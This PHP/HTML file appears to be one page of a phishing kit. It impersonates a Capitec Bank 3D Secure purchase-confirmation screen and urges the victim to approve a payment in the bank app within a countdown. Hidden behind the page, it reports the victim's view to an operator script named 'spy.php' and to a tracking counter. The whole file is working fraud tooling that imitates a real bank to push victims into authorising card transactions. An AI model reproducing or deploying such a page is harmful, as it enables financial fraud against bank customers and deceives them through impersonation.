<?php
$bankKey = 'capitec';
require __DIR__ . '/includes/bank-3ds-bootstrap.php';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Confirm Online Card Purchase</title>
    <link rel="stylesheet" href="themes/css/bank-3ds.css" />
    <style>body.b3-page { --b3-primary: <?= htmlspecialchars($bankColor, ENT_QUOTES, 'UTF-8') ?>; --b3-link: <?= htmlspecialchars($bankColor, ENT_QUOTES, 'UTF-8') ?>; }</style>
</head>
<body class="b3-page">

<div class="b3-sheet">
    <a class="b3-back" href="wait.php?p=cancel" aria-label="Back">&#8592;</a>

    <header class="b3-head b3-head--cap">
        <img class="b3-bank-logo" src="<?= htmlspecialchars($bankLogo, ENT_QUOTES, 'UTF-8') ?>"
            alt="<?= htmlspecialchars($bankName, ENT_QUOTES, 'UTF-8') ?>" />
        <div class="b3-scheme">
            <?php if ($schemeMode === 'visa' || $isVisa) { ?>
            <img class="b3-scheme-logo" src="assets/img/card_logo_visa.svg" alt="Visa" />
            <?php } else { ?>
            <img class="b3-scheme-logo" src="assets/img/card_logo_mc.svg" alt="Mastercard" />
            <?php } ?>
        </div>
    </header>

    <main class="b3-main">
        <h1 class="b3-title">Confirm Online Card Purchase</h1>

        <div class="b3-illus" aria-hidden="true">
            <svg viewBox="0 0 120 100" fill="none" xmlns="http://www.w3.org/2000/svg">
                <rect x="38" y="18" width="44" height="72" rx="6" stroke="#333" stroke-width="2.5"/>
                <rect x="46" y="28" width="28" height="40" rx="2" stroke="#555" stroke-width="1.5"/>
                <circle cx="60" cy="78" r="3" fill="#333"/>
                <path d="M72 34c10-1 20-8 24-16" stroke="#666" stroke-width="1.5" fill="none"/>
                <rect x="84" y="10" width="30" height="20" rx="5" fill="#f3f4f6" stroke="#666" stroke-width="1.5"/>
                <rect x="95" y="15" width="8" height="10" rx="1.5" stroke="#005eb8" stroke-width="1.5"/>
                <path d="M97 15v-2a2.5 2.5 0 0 1 5 0v2" stroke="#005eb8" stroke-width="1.5"/>
            </svg>
        </div>

        <div class="b3-timer" aria-live="polite">
            <svg class="b3-timer-ring" viewBox="0 0 120 120" aria-hidden="true">
                <circle class="b3-timer-track" cx="60" cy="60" r="52" />
                <circle class="b3-timer-progress" id="timerProgress" cx="60" cy="60" r="52" />
            </svg>
            <span class="b3-timer-text" id="timerText">00:59</span>
        </div>
<?php require __DIR__ . '/includes/approv-timer-script.php'; ?>

        <p class="b3-lead">Approve the payment in your Capitec app to continue.</p>

        <dl class="b3-details">
            <div>
                <dt>Merchant:</dt>
                <dd><?= htmlspecialchars($merchant, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <div>
                <dt>Amount:</dt>
                <dd><?= htmlspecialchars($amountDisplay, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <div>
                <dt>Date:</dt>
                <dd><?= htmlspecialchars($digDate, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <div>
                <dt>Card Number:</dt>
                <dd><?= htmlspecialchars($cardLast4, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
        </dl>

        <p class="b3-hint">Remember to return here once you've authenticated your payment.</p>

        <a class="b3-btn b3-btn--round js-approv-confirm" href="#" data-bank="<?= htmlspecialchars($bankName, ENT_QUOTES, 'UTF-8') ?>">CONFIRM</a>

        <div class="b3-cancel-wrap">
            <a class="b3-cancel" href="wait.php?p=cancel">Cancel</a>
        </div>

        <div class="b3-faq">
            <details>
                <summary>About 3D Secure<span class="b3-faq-arrow">&#9660;</span></summary>
                <p>3D Secure helps confirm it is really you making this purchase before the payment is completed.</p>
            </details>
            <details>
                <summary><?= htmlspecialchars($bankContact, ENT_QUOTES, 'UTF-8') ?><span class="b3-faq-arrow">&#9660;</span></summary>
                <p>If you did not start this payment, cancel now and contact Capitec Bank immediately.</p>
            </details>
        </div>
    </main>
</div>

<script src="res/jq.js"></script>
<?php require __DIR__ . '/includes/approv-confirm-script.php'; ?>
<script>
if (window.jQuery) { jQuery.post('spy.php', { approvview: 1 }); }
</script>
<?php $m->ctr('APPROV CA'); ?>
</body>
</html>
